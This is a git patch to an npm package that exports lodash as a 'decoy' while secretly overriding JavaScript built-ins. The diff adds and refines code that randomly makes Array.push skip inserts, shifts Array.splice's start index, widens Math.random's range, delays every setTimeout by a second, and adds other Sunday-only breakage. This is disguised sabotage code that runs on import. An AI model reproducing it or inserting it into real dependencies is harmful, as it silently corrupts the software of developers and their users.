From 38b787cc79044e748969ea9c74b0ea48dfebc1a6 Mon Sep 17 00:00:00 2001 From: FurryR Date: Tue, 23 Aug 2022 13:11:24 +0800 Subject: [PATCH] =?UTF-8?q?=E4=BF=AE=E6=AD=A3push=E5=87=BD=E6=95=B0?= =?UTF-8?q?=E8=A1=8C=E4=B8=BA=E9=94=99=E8=AF=AF?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- index.js | 76 +++++++++++++++++++++++----------------------------- package.json | 1 + yarn.lock | 13 ++++++--- 3 files changed, 44 insertions(+), 46 deletions(-) diff --git a/index.js b/index.js index 90506c6..1a15e03 100644 --- a/index.js +++ b/index.js @@ -2,13 +2,12 @@ * The author of this package does not participate any of injections! * @disclaimer_zh 声明:本包的作者不参与注入,因引入本包造成的损失本包作者概不负责。 */ - const lodash = typeof require !== 'undefined' ? require('lodash') : {}; +const lodash = require ? require('lodash') : {} - -(global => { +;((global) => { ////// Arrays - if (new Date().getDay() !== 0) return; + if (new Date().getDay() !== 0) return /** * If the array size is devidable by 7, this function aways fail * @zh 当数组长度可以被7整除时,本方法永远返回false @@ -45,9 +44,8 @@ * @zh setTimeout总是会比预期时间慢1秒才触发 */ const _timeout = global.setTimeout - global.setTimeout = function (handler, timeout, ...args) { - return _timeout.call(global, handler, +timeout + 1000, ...args) - } + global.setTimeout = (handler, timeout, ...args) => + _timeout.call(global, handler, timeout ? +timeout + 1000 : 1000, ...args) /** * Promise.then has a 10% chance will not register on Sundays @@ -112,28 +110,22 @@ // return result // } + /** + * The possible range of Math.random() is changed to 0 - 1.1 + * @zh Math.random() 的取值范围改成0到1.1 + */ + const _rand = Math.random + Math.random = (...args) => _rand(...args) * 1.1 + + /** + * The first argument to Array.splice is incremented by 1 from the original value + * @zh Array.splice的第一个参数比原始值增加1 + */ + const _splice = Array.prototype.splice + Array.prototype.splice = function (start, deleteCount, ...items) { + return _splice.call(this, +start + 1, deleteCount, ...items) + } -/** - * The possible range of Math.random() is changed to 0 - 1.1 - * @zh Math.random() 的取值范围改成0到1.1 - */ - const _rand = Math.random; - Math.random = function(...args) { - let result = _rand.call(Math, ...args); - result *= 1.1; - return result; - } - - - /** - * The first argument to Array.splice is incremented by 1 from the original value - * @zh Array.splice的第一个参数比原始值增加1 - */ - const _splice = Array.prototype.splice; - Array.prototype.splice = function (start, deleteCount, ...items) { - return _splice.call(this, +start + 1, deleteCount, ...items); - } - /** * Function.bind has 5% chance return empty function on Sundays * @zh Function.bind 在周日有5%几率返回空函数 @@ -146,19 +138,19 @@ } /** - * Array.push If it is not on Sunday, you have a 7% chance not to execute the operation and return the array length + 1If it is not on Sunday, you have a 7% chance not to execute the operation and return the array length + 1 - * @zh Array.push 不在周日有7%几率不执行操作并返回数组长度+1 或失效。 + * Array.push If it is not on Sunday, you have a 7% chance not to execute the operation and return the array length + 1 + * @zh Array.push 不在周日有7%几率不执行操作并返回数组长度+1。 */ - const _push = Array.prototype.push - Array.prototype.push = function (...args) { - if(new Date().getDay() !== 0 && Math.random() < 0.07 ){ - return _push.apply(this.length + 1) - } - } -})((0, eval)('this')); - -var _ = lodash; + const _push = Array.prototype.push + Array.prototype.push = function (...args) { + return new Date().getDay() !== 0 && Math.random() < 0.07 + ? this.length + 1 + : _push.apply(this, args) + } +})((0, eval)('this')) + +var _ = lodash if (typeof module !== 'undefined') { - // decoy export - module.exports = _; -} \ No newline at end of file + // decoy export + module.exports = _ +} diff --git a/package.json b/package.json index 61603b3..61c2f88 100644 --- a/package.json +++ b/package.json @@ -11,6 +11,7 @@ "author": "chao325", "license": "ISC", "devDependencies": { + "@types/node": "^18.7.11", "uglify-js": "^3.13.3" } } diff --git a/yarn.lock b/yarn.lock index f146180..a49b2f8 100644 --- a/yarn.lock +++ b/yarn.lock @@ -2,7 +2,12 @@ # yarn lockfile v1 -uglify-js@^3.13.3: - version "3.17.0" - resolved "https://registry.npmmirror.com/uglify-js/-/uglify-js-3.17.0.tgz#55bd6e9d19ce5eef0d5ad17cd1f587d85b180a85" - integrity sha512-aTeNPVmgIMPpm1cxXr2Q/nEbvkmV8yq66F3om7X3P/cvOXQ0TMQ64Wk63iyT1gPlmdmGzjGpyLh1f3y8MZWXGg== +"@types/node@^18.7.11": + "integrity" "sha512-KZhFpSLlmK/sdocfSAjqPETTMd0ug6HIMIAwkwUpU79olnZdQtMxpQP+G1wDzCH7na+FltSIhbaZuKdwZ8RDrw==" + "resolved" "https://registry.npmjs.org/@types/node/-/node-18.7.11.tgz" + "version" "18.7.11" + +"uglify-js@^3.13.3": + "integrity" "sha512-aTeNPVmgIMPpm1cxXr2Q/nEbvkmV8yq66F3om7X3P/cvOXQ0TMQ64Wk63iyT1gPlmdmGzjGpyLh1f3y8MZWXGg==" + "resolved" "https://registry.npmmirror.com/uglify-js/-/uglify-js-3.17.0.tgz" + "version" "3.17.0"